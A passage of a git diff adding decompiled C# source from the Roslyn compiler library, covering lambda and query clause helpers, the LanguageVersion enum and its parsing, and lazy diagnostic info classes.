SyntaxKind.DescendingOrdering: + return (object)((OrderingSyntax)(object)val).Expression == node; + case SyntaxKind.SelectClause: + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)(object)val; + if ((object)selectClauseSyntax.Expression == node) + { + if (!allowReducedLambdas) + { + return !IsReducedSelectOrGroupByClause(selectClauseSyntax, selectClauseSyntax.Expression); + } + return true; + } + return false; + } + case SyntaxKind.GroupClause: + { + GroupClauseSyntax groupClauseSyntax = (GroupClauseSyntax)(object)val; + if ((object)groupClauseSyntax.GroupExpression != node || (!allowReducedLambdas && IsReducedSelectOrGroupByClause(groupClauseSyntax, groupClauseSyntax.GroupExpression))) + { + return (object)groupClauseSyntax.ByExpression == node; + } + return true; + } + default: + return false; + } + } + + private static bool IsReducedSelectOrGroupByClause(SelectOrGroupClauseSyntax selectOrGroupClause, ExpressionSyntax selectOrGroupExpression) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_008d: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + if (!((SyntaxNode?)(object)selectOrGroupExpression).IsKind(SyntaxKind.IdentifierName)) + { + return false; + } + SyntaxToken identifier = ((IdentifierNameSyntax)selectOrGroupExpression).Identifier; + CSharpSyntaxNode parent = selectOrGroupClause.Parent.Parent; + QueryBodySyntax body; + SyntaxToken identifier2; + if (((SyntaxNode?)(object)parent).IsKind(SyntaxKind.QueryExpression)) + { + QueryExpressionSyntax obj = (QueryExpressionSyntax)parent; + body = obj.Body; + identifier2 = obj.FromClause.Identifier; + } + else + { + QueryContinuationSyntax obj2 = (QueryContinuationSyntax)parent; + identifier2 = obj2.Identifier; + body = obj2.Body; + } + if (!SyntaxFactory.AreEquivalent(identifier2, identifier)) + { + return false; + } + if (((SyntaxNode?)(object)selectOrGroupClause).IsKind(SyntaxKind.SelectClause) && body.Clauses.Count == 0) + { + return false; + } + Enumerator enumerator = body.Clauses.GetEnumerator(); + while (enumerator.MoveNext()) + { + QueryClauseSyntax current = enumerator.Current; + if (!((SyntaxNode?)(object)current).IsKind(SyntaxKind.WhereClause) && !((SyntaxNode?)(object)current).IsKind(SyntaxKind.OrderByClause)) + { + return false; + } + } + return true; + } + + public static bool IsLambdaBodyStatementOrExpression(SyntaxNode node) + { + return IsLambdaBody(node); + } + + public static bool IsLambdaBodyStatementOrExpression(SyntaxNode node, out SyntaxNode lambdaBody) + { + lambdaBody = node; + return IsLambdaBody(node); + } + + public static bool TryGetLambdaBodies(SyntaxNode node, [NotNullWhen(true)] out SyntaxNode? lambdaBody1, out SyntaxNode? lambdaBody2) + { + lambdaBody1 = null; + lambdaBody2 = null; + switch (node.Kind()) + { + case SyntaxKind.AnonymousMethodExpression: + case SyntaxKind.SimpleLambdaExpression: + case SyntaxKind.ParenthesizedLambdaExpression: + lambdaBody1 = (SyntaxNode?)(object)((AnonymousFunctionExpressionSyntax)(object)node).Body; + return true; + case SyntaxKind.FromClause: + if (node.Parent.IsKind(SyntaxKind.QueryExpression)) + { + return false; + } + lambdaBody1 = (SyntaxNode?)(object)((FromClauseSyntax)(object)node).Expression; + return true; + case SyntaxKind.JoinClause: + { + JoinClauseSyntax joinClauseSyntax = (JoinClauseSyntax)(object)node; + lambdaBody1 = (SyntaxNode?)(object)joinClauseSyntax.LeftExpression; + lambdaBody2 = (SyntaxNode?)(object)joinClauseSyntax.RightExpression; + return true; + } + case SyntaxKind.LetClause: + lambdaBody1 = (SyntaxNode?)(object)((LetClauseSyntax)(object)node).Expression; + return true; + case SyntaxKind.WhereClause: + lambdaBody1 = (SyntaxNode?)(object)((WhereClauseSyntax)(object)node).Condition; + return true; + case SyntaxKind.AscendingOrdering: + case SyntaxKind.DescendingOrdering: + lambdaBody1 = (SyntaxNode?)(object)((OrderingSyntax)(object)node).Expression; + return true; + case SyntaxKind.SelectClause: + { + SelectClauseSyntax selectClauseSyntax = (SelectClauseSyntax)(object)node; + if (IsReducedSelectOrGroupByClause(selectClauseSyntax, selectClauseSyntax.Expression)) + { + return false; + } + lambdaBody1 = (SyntaxNode?)(object)selectClauseSyntax.Expression; + return true; + } + case SyntaxKind.GroupClause: + { + GroupClauseSyntax groupClauseSyntax = (GroupClauseSyntax)(object)node; + if (IsReducedSelectOrGroupByClause(groupClauseSyntax, groupClauseSyntax.GroupExpression)) + { + lambdaBody1 = (SyntaxNode?)(object)groupClauseSyntax.ByExpression; + } + else + { + lambdaBody1 = (SyntaxNode?)(object)groupClauseSyntax.GroupExpression; + lambdaBody2 = (SyntaxNode?)(object)groupClauseSyntax.ByExpression; + } + return true; + } + case SyntaxKind.LocalFunctionStatement: + lambdaBody1 = GetLocalFunctionBody((LocalFunctionStatementSyntax)(object)node); + return lambdaBody1 != null; + default: + return false; + } + } + + public static bool AreEquivalentIgnoringLambdaBodies(SyntaxNode oldNode, SyntaxNode newNode) + { + IEnumerable enumerable = oldNode.DescendantTokens((Func)((SyntaxNode node) => node == oldNode || !IsLambdaBodyStatementOrExpression(node)), false); + IEnumerable enumerable2 = newNode.DescendantTokens((Func)((SyntaxNode node) => node == newNode || !IsLambdaBodyStatementOrExpression(node)), false); + return EnumerableExtensions.SequenceEqual(enumerable, enumerable2, (Func)SyntaxFactory.AreEquivalent); + } + + internal static bool IsQueryPairLambda(SyntaxNode syntax) + { + if (!syntax.IsKind(SyntaxKind.GroupClause) && !syntax.IsKind(SyntaxKind.JoinClause)) + { + return syntax.IsKind(SyntaxKind.FromClause); + } + return true; + } + + internal static bool IsClosureScope(SyntaxNode node) + { + //IL_013e: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + switch (node.Kind()) + { + case SyntaxKind.Block: + case SyntaxKind.ForStatement: + case SyntaxKind.ForEachStatement: + case SyntaxKind.UsingStatement: + case SyntaxKind.SwitchStatement: + case SyntaxKind.CatchClause: + case SyntaxKind.CompilationUnit: + case SyntaxKind.ConstructorDeclaration: + case SyntaxKind.ArrowExpressionClause: + case SyntaxKind.ForEachVariableStatement: + return true; + case SyntaxKind.ExpressionStatement: + case SyntaxKind.GotoCaseStatement: + case SyntaxKind.ReturnStatement: + case SyntaxKind.YieldReturnStatement: + case SyntaxKind.ThrowStatement: + case SyntaxKind.WhileStatement: + case SyntaxKind.DoStatement: + case SyntaxKind.FixedStatement: + case SyntaxKind.LockStatement: + case SyntaxKind.IfStatement: + return true; + case SyntaxKind.ClassDeclaration: + case SyntaxKind.StructDeclaration: + case SyntaxKind.RecordDeclaration: + case SyntaxKind.RecordStructDeclaration: + return true; + case SyntaxKind.AwaitExpression: + case SyntaxKind.SwitchExpression: + return true; + default: + if (node.Parent != null) + { + switch (node.Parent.Kind()) + { + case SyntaxKind.EqualsValueClause: + return true; + case SyntaxKind.ForStatement: + if ((object)((ForStatementSyntax)(object)node.Parent).Incrementors.FirstOrDefault() == node) + { + return true; + } + break; + } + } + if (IsLambdaBody(node)) + { + return true; + } + if (node is ExpressionSyntax && node.Parent != null && node.Parent.Parent == null) + { + return true; + } + return false; + } + } + + internal static int GetDeclaratorPosition(SyntaxNode node) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (!(node is SwitchExpressionSyntax { SwitchKeyword: var switchKeyword })) + { + return node.SpanStart; + } + return ((SyntaxToken)(ref switchKeyword)).SpanStart; + } + + private static SyntaxNode? GetLocalFunctionBody(LocalFunctionStatementSyntax localFunctionStatementSyntax) + { + object obj = localFunctionStatementSyntax.Body; + if (obj == null) + { + ArrowExpressionClauseSyntax? expressionBody = localFunctionStatementSyntax.ExpressionBody; + if (expressionBody == null) + { + return null; + } + obj = expressionBody.Expression; + } + return (SyntaxNode?)obj; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersion.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersion.cs new file mode 100644 index 0000000..69bba06 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersion.cs @@ -0,0 +1,24 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +public enum LanguageVersion +{ + CSharp1 = 1, + CSharp2 = 2, + CSharp3 = 3, + CSharp4 = 4, + CSharp5 = 5, + CSharp6 = 6, + CSharp7 = 7, + CSharp7_1 = 701, + CSharp7_2 = 702, + CSharp7_3 = 703, + CSharp8 = 800, + CSharp9 = 900, + CSharp10 = 1000, + CSharp11 = 1100, + CSharp12 = 1200, + LatestMajor = 2147483645, + Preview = 2147483646, + Latest = int.MaxValue, + Default = 0 +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionExtensionsInternal.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionExtensionsInternal.cs new file mode 100644 index 0000000..dbab1bd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionExtensionsInternal.cs @@ -0,0 +1,55 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class LanguageVersionExtensionsInternal +{ + internal static bool IsValid(this LanguageVersion value) + { + switch (value) + { + case LanguageVersion.CSharp1: + case LanguageVersion.CSharp2: + case LanguageVersion.CSharp3: + case LanguageVersion.CSharp4: + case LanguageVersion.CSharp5: + case LanguageVersion.CSharp6: + case LanguageVersion.CSharp7: + case LanguageVersion.CSharp7_1: + case LanguageVersion.CSharp7_2: + case LanguageVersion.CSharp7_3: + case LanguageVersion.CSharp8: + case LanguageVersion.CSharp9: + case LanguageVersion.CSharp10: + case LanguageVersion.CSharp11: + case LanguageVersion.CSharp12: + case LanguageVersion.Preview: + return true; + default: + return false; + } + } + + internal static ErrorCode GetErrorCode(this LanguageVersion version) + { + return version switch + { + LanguageVersion.CSharp1 => ErrorCode.ERR_FeatureNotAvailableInVersion1, + LanguageVersion.CSharp2 => ErrorCode.ERR_FeatureNotAvailableInVersion2, + LanguageVersion.CSharp3 => ErrorCode.ERR_FeatureNotAvailableInVersion3, + LanguageVersion.CSharp4 => ErrorCode.ERR_FeatureNotAvailableInVersion4, + LanguageVersion.CSharp5 => ErrorCode.ERR_FeatureNotAvailableInVersion5, + LanguageVersion.CSharp6 => ErrorCode.ERR_FeatureNotAvailableInVersion6, + LanguageVersion.CSharp7 => ErrorCode.ERR_FeatureNotAvailableInVersion7, + LanguageVersion.CSharp7_1 => ErrorCode.ERR_FeatureNotAvailableInVersion7_1, + LanguageVersion.CSharp7_2 => ErrorCode.ERR_FeatureNotAvailableInVersion7_2, + LanguageVersion.CSharp7_3 => ErrorCode.ERR_FeatureNotAvailableInVersion7_3, + LanguageVersion.CSharp8 => ErrorCode.ERR_FeatureNotAvailableInVersion8, + LanguageVersion.CSharp9 => ErrorCode.ERR_FeatureNotAvailableInVersion9, + LanguageVersion.CSharp10 => ErrorCode.ERR_FeatureNotAvailableInVersion10, + LanguageVersion.CSharp11 => ErrorCode.ERR_FeatureNotAvailableInVersion11, + LanguageVersion.CSharp12 => ErrorCode.ERR_FeatureNotAvailableInVersion12, + _ => throw ExceptionUtilities.UnexpectedValue((object)version), + }; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionFacts.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionFacts.cs new file mode 100644 index 0000000..71ef933 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LanguageVersionFacts.cs @@ -0,0 +1,152 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class LanguageVersionFacts +{ + internal const LanguageVersion CSharpNext = LanguageVersion.Preview; + + internal static LanguageVersion CurrentVersion => LanguageVersion.CSharp12; + + public static string ToDisplayString(this LanguageVersion version) + { + return version switch + { + LanguageVersion.CSharp1 => "1", + LanguageVersion.CSharp2 => "2", + LanguageVersion.CSharp3 => "3", + LanguageVersion.CSharp4 => "4", + LanguageVersion.CSharp5 => "5", + LanguageVersion.CSharp6 => "6", + LanguageVersion.CSharp7 => "7.0", + LanguageVersion.CSharp7_1 => "7.1", + LanguageVersion.CSharp7_2 => "7.2", + LanguageVersion.CSharp7_3 => "7.3", + LanguageVersion.CSharp8 => "8.0", + LanguageVersion.CSharp9 => "9.0", + LanguageVersion.CSharp10 => "10.0", + LanguageVersion.CSharp11 => "11.0", + LanguageVersion.CSharp12 => "12.0", + LanguageVersion.Default => "default", + LanguageVersion.Latest => "latest", + LanguageVersion.LatestMajor => "latestmajor", + LanguageVersion.Preview => "preview", + _ => throw ExceptionUtilities.UnexpectedValue((object)version), + }; + } + + public static bool TryParse(string? version, out LanguageVersion result) + { + if (version == null) + { + result = LanguageVersion.Default; + return true; + } + switch (CaseInsensitiveComparison.ToLower(version)) + { + case "default": + result = LanguageVersion.Default; + return true; + case "latest": + result = LanguageVersion.Latest; + return true; + case "latestmajor": + result = LanguageVersion.LatestMajor; + return true; + case "preview": + result = LanguageVersion.Preview; + return true; + case "1": + case "1.0": + case "iso-1": + result = LanguageVersion.CSharp1; + return true; + case "2": + case "2.0": + case "iso-2": + result = LanguageVersion.CSharp2; + return true; + case "3": + case "3.0": + result = LanguageVersion.CSharp3; + return true; + case "4": + case "4.0": + result = LanguageVersion.CSharp4; + return true; + case "5": + case "5.0": + result = LanguageVersion.CSharp5; + return true; + case "6": + case "6.0": + result = LanguageVersion.CSharp6; + return true; + case "7": + case "7.0": + result = LanguageVersion.CSharp7; + return true; + case "7.1": + result = LanguageVersion.CSharp7_1; + return true; + case "7.2": + result = LanguageVersion.CSharp7_2; + return true; + case "7.3": + result = LanguageVersion.CSharp7_3; + return true; + case "8": + case "8.0": + result = LanguageVersion.CSharp8; + return true; + case "9": + case "9.0": + result = LanguageVersion.CSharp9; + return true; + case "10": + case "10.0": + result = LanguageVersion.CSharp10; + return true; + case "11": + case "11.0": + result = LanguageVersion.CSharp11; + return true; + case "12": + case "12.0": + result = LanguageVersion.CSharp12; + return true; + default: + result = LanguageVersion.Default; + return false; + } + } + + public static LanguageVersion MapSpecifiedToEffectiveVersion(this LanguageVersion version) + { + if (version == LanguageVersion.Default || version == LanguageVersion.LatestMajor || version == LanguageVersion.Latest) + { + return LanguageVersion.CSharp12; + } + return version; + } + + internal static bool DisallowInferredTupleElementNames(this LanguageVersion self) + { + return self < MessageID.IDS_FeatureInferredTupleNames.RequiredVersion(); + } + + internal static bool AllowNonTrailingNamedArguments(this LanguageVersion self) + { + return self >= MessageID.IDS_FeatureNonTrailingNamedArguments.RequiredVersion(); + } + + internal static bool AllowAttributesOnBackingFields(this LanguageVersion self) + { + return self >= MessageID.IDS_FeatureAttributesOnBackingFields.RequiredVersion(); + } + + internal static bool AllowImprovedOverloadCandidates(this LanguageVersion self) + { + return self >= MessageID.IDS_FeatureImprovedOverloadCandidates.RequiredVersion(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyArrayElementCantBeRefAnyDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyArrayElementCantBeRefAnyDiagnosticInfo.cs new file mode 100644 index 0000000..713260c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyArrayElementCantBeRefAnyDiagnosticInfo.cs @@ -0,0 +1,35 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LazyArrayElementCantBeRefAnyDiagnosticInfo : LazyDiagnosticInfo +{ + private readonly TypeWithAnnotations _possiblyRestrictedTypeSymbol; + + internal LazyArrayElementCantBeRefAnyDiagnosticInfo(TypeWithAnnotations possiblyRestrictedTypeSymbol) + { + _possiblyRestrictedTypeSymbol = possiblyRestrictedTypeSymbol; + } + + private LazyArrayElementCantBeRefAnyDiagnosticInfo(LazyArrayElementCantBeRefAnyDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _possiblyRestrictedTypeSymbol = original._possiblyRestrictedTypeSymbol; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new LazyArrayElementCantBeRefAnyDiagnosticInfo(this, severity); + } + + protected override DiagnosticInfo ResolveInfo() + { + if (_possiblyRestrictedTypeSymbol.IsRestrictedType()) + { + return (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_ArrayElementCantBeRefAny, _possiblyRestrictedTypeSymbol.Type); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyDiagnosticInfo.cs new file mode 100644 index 0000000..6c597e8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyDiagnosticInfo.cs @@ -0,0 +1,33 @@ +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class LazyDiagnosticInfo : DiagnosticInfo +{ + private DiagnosticInfo? _lazyInfo; + + protected LazyDiagnosticInfo() + : base((CommonMessageProvider)(object)MessageProvider.Instance, -1) + { + } + + internal sealed override DiagnosticInfo GetResolvedInfo() + { + if (_lazyInfo == null) + { + Interlocked.CompareExchange(ref _lazyInfo, ResolveInfo() ?? CSDiagnosticInfo.VoidDiagnosticInfo, null); + } + return _lazyInfo; + } + + protected LazyDiagnosticInfo(LazyDiagnosticInfo original, DiagnosticSeverity severity) + : base((DiagnosticInfo)(object)original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _lazyInfo = original._lazyInfo; + } + + protected abstract override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity); + + protected abstract DiagnosticInfo? ResolveInfo(); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyMissingNonNullTypesContextDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyMissingNonNullTypesContextDiagnosticInfo.cs new file mode 100644 index 0000000..0fd5387 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyMissingNonNullTypesContextDiagnosticInfo.cs @@ -0,0 +1,90 @@ +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LazyMissingNonNullTypesContextDiagnosticInfo : LazyDiagnosticInfo +{ + private readonly TypeWithAnnotations _type; + + private readonly DiagnosticInfo _info; + + private LazyMissingNonNullTypesContextDiagnosticInfo(TypeWithAnnotations type, DiagnosticInfo info) + { + _type = type; + _info = info; + } + + private LazyMissingNonNullTypesContextDiagnosticInfo(LazyMissingNonNullTypesContextDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _type = original._type; + _info = original._info; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new LazyMissingNonNullTypesContextDiagnosticInfo(this, severity); + } + + public static void AddAll(Binder binder, SyntaxToken questionToken, TypeWithAnnotations? type, DiagnosticBag diagnostics) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + Location location = ((SyntaxToken)(ref questionToken)).GetLocation(); + ArrayBuilder instance = ArrayBuilder.GetInstance(); + GetRawDiagnosticInfos(binder, questionToken, instance); + Enumerator enumerator = instance.GetEnumerator(); + while (enumerator.MoveNext()) + { + DiagnosticInfo current = enumerator.Current; + DiagnosticInfo info = (DiagnosticInfo)(object)(type.HasValue ? new LazyMissingNonNullTypesContextDiagnosticInfo(type.Value, current) : ((LazyMissingNonNullTypesContextDiagnosticInfo)(object)current)); + diagnostics.Add(info, location); + } + instance.Free(); + } + + private static void GetRawDiagnosticInfos(Binder binder, SyntaxToken questionToken, ArrayBuilder infos) + { + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Invalid comparison between Unknown and I4 + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxTree cSharpSyntaxTree = (CSharpSyntaxTree)(object)((SyntaxToken)(ref questionToken)).SyntaxTree; + CSDiagnosticInfo featureAvailabilityDiagnosticInfo = MessageID.IDS_FeatureNullableReferenceTypes.GetFeatureAvailabilityDiagnosticInfo(cSharpSyntaxTree.Options); + if (featureAvailabilityDiagnosticInfo != null) + { + infos.Add((DiagnosticInfo)(object)featureAvailabilityDiagnosticInfo); + } + if ((featureAvailabilityDiagnosticInfo == null || (int)((DiagnosticInfo)featureAvailabilityDiagnosticInfo).Severity != 3) && !binder.AreNullableAnnotationsEnabled(questionToken)) + { + ErrorCode code = (cSharpSyntaxTree.IsGeneratedCode(((CompilationOptions)binder.Compilation.Options).SyntaxTreeOptionsProvider, CancellationToken.None) ? ErrorCode.WRN_MissingNonNullTypesContextForAnnotationInGeneratedCode : ErrorCode.WRN_MissingNonNullTypesContextForAnnotation); + infos.Add((DiagnosticInfo)(object)new CSDiagnosticInfo(code)); + } + } + + internal static bool IsNullableReference(TypeSymbol type) + { + if ((object)type != null) + { + if (!type.IsValueType) + { + return !type.IsErrorType(); + } + return false; + } + return true; + } + + protected override DiagnosticInfo ResolveInfo() + { + if (!IsNullableReference(_type.Type)) + { + return null; + } + return _info; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyObsoleteDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyObsoleteDiagnosticInfo.cs new file mode 100644 index 0000000..3a32ede --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyObsoleteDiagnosticInfo.cs @@ -0,0 +1,45 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LazyObsoleteDiagnosticInfo : LazyDiagnosticInfo +{ + private readonly object _symbolOrSymbolWithAnnotations; + + private readonly Symbol _containingSymbol; + + private readonly BinderFlags _binderFlags; + + internal LazyObsoleteDiagnosticInfo(object symbol, Symbol containingSymbol, BinderFlags binderFlags) + { + _symbolOrSymbolWithAnnotations = symbol; + _containingSymbol = containingSymbol; + _binderFlags = binderFlags; + } + + private LazyObsoleteDiagnosticInfo(LazyObsoleteDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _symbolOrSymbolWithAnnotations = original._symbolOrSymbolWithAnnotations; + _containingSymbol = original._containingSymbol; + _binderFlags = original._binderFlags; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new LazyObsoleteDiagnosticInfo(this, severity); + } + + protected override DiagnosticInfo ResolveInfo() + { + Symbol symbol = (_symbolOrSymbolWithAnnotations as Symbol) ?? ((TypeWithAnnotations)_symbolOrSymbolWithAnnotations).Type; + symbol.ForceCompleteObsoleteAttribute(); + if (ObsoleteAttributeHelpers.GetObsoleteDiagnosticKind(symbol, _containingSymbol, forceComplete: true) != ObsoleteDiagnosticKind.Diagnostic) + { + return null; + } + return ObsoleteAttributeHelpers.CreateObsoleteDiagnostic(symbol, _binderFlags); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo.cs new file mode 100644 index 0000000..ba3e48e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo.cs @@ -0,0 +1,39 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo : LazyDiagnosticInfo +{ + private readonly MethodSymbol _method; + + private readonly bool _isDelegateConversion; + + internal LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo(MethodSymbol method, bool isDelegateConversion) + { + _method = method; + _isDelegateConversion = isDelegateConversion; + } + + private LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo(LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _method = original._method; + _isDelegateConversion = original._isDelegateConversion; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new LazyUnmanagedCallersOnlyMethodCalledDiagnosticInfo(this, severity); + } + + protected override DiagnosticInfo? ResolveInfo() + { + if (_method.GetUnmanagedCallersOnlyAttributeData(forceComplete: true) != null) + { + return (DiagnosticInfo?)(object)new CSDiagnosticInfo(_isDelegateConversion ? ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeConvertedToDelegate : ErrorCode.ERR_UnmanagedCallersOnlyMethodsCannotBeCalledDirectly, _method); + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUseSiteDiagnosticsInfoForNullableType.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUseSiteDiagnosticsInfoForNullableType.cs new file mode 100644 index 0000000..16b9040 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LazyUseSiteDiagnosticsInfoForNullableType.cs @@ -0,0 +1,40 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class LazyUseSiteDiagnosticsInfoForNullableType : LazyDiagnosticInfo +{ + private readonly LanguageVersion _languageVersion; + + private readonly TypeWithAnnotations _possiblyNullableTypeSymbol; + + internal LazyUseSiteDiagnosticsInfoForNullableType(LanguageVersion languageVersion, TypeWithAnnotations possiblyNullableTypeSymbol) + { + _languageVersion = languageVersion; + _possiblyNullableTypeSymbol = possiblyNullableTypeSymbol; + } + + private LazyUseSiteDiagnosticsInfoForNullableType(LazyUseSiteDiagnosticsInfoForNullableType original, DiagnosticSeverity severity) + : base(original, severity) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + _languageVersion = original._languageVersion; + _possiblyNullableTypeSymbol = original._possiblyNullableTypeSymbol; + } + + protected override DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (DiagnosticInfo)(object)new LazyUseSiteDiagnosticsInfoForNullableType(this, severity); + } + + protected override DiagnosticInfo? ResolveInfo() + { + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + if (_possiblyNullableTypeSymbol.IsNullableType()) + { + return _possiblyNullableTypeSymbol.Type.OriginalDefinition.GetUseSiteInfo().DiagnosticInfo; + } + return (DiagnosticInfo?)(object)Binder.GetNullableUnconstrainedTypeParameterDiagnosticIfNecessary(_languageVersion, in _possiblyNullableTypeSymbol); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LengthBasedStringSwitchData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LengthBasedStringSwitchData.cs new file mode 100644 index 0000000..b59a16a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/LengthBasedStringSwitchData.cs @@ -0,0 +1,166 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using 